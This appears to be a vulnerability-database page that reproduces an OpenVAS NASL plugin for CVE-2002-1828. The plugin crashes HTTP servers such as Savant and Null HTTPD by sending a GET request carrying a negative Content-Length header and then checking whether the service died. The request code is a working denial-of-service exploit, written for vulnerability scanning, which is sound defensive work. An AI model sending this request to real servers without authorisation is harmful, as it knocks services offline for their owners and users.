5 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
6.7 Medium
AI Score
Confidence
Low
0.131 Low
EPSS
Percentile
95.5%
The Savant web server was crashed by sending an invalid
GET HTTP request with a negative Content-Length field.
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.11174");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2002-1828");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/5707");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/6255");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_name("HTTP Negative Content-Length DoS Vulnerability");
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright("Copyright (C) 2002 Michel Arboi");
script_family("Denial of Service");
script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name:"solution", value:"Upgrade the web server.");
script_tag(name:"summary", value:"The Savant web server was crashed by sending an invalid
GET HTTP request with a negative Content-Length field.");
script_tag(name:"impact", value:"An attacker may exploit this flaw to disable the service or
even execute arbitrary code on the affected system.");
script_tag(name:"affected", value:"Null HTTPD 0.5.0 is known to be affected. Other versions or
products might be affected as well.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("port_service_func.inc");
port = http_get_port(default:80);
if(http_is_dead(port:port))
exit(0);
soc = http_open_socket(port);
if(! soc)
exit(0);
req = string("GET / HTTP/1.0\n\r",
"Host: ", get_host_ip(), "\r\n",
"Content-Length: -1\r\n\r\n");
send(socket:soc, data: req);
r = http_recv(socket: soc);
http_close_socket(soc);
if(http_is_dead(port: port)) {
security_message(port:port);
exit(0);
}
exit(99);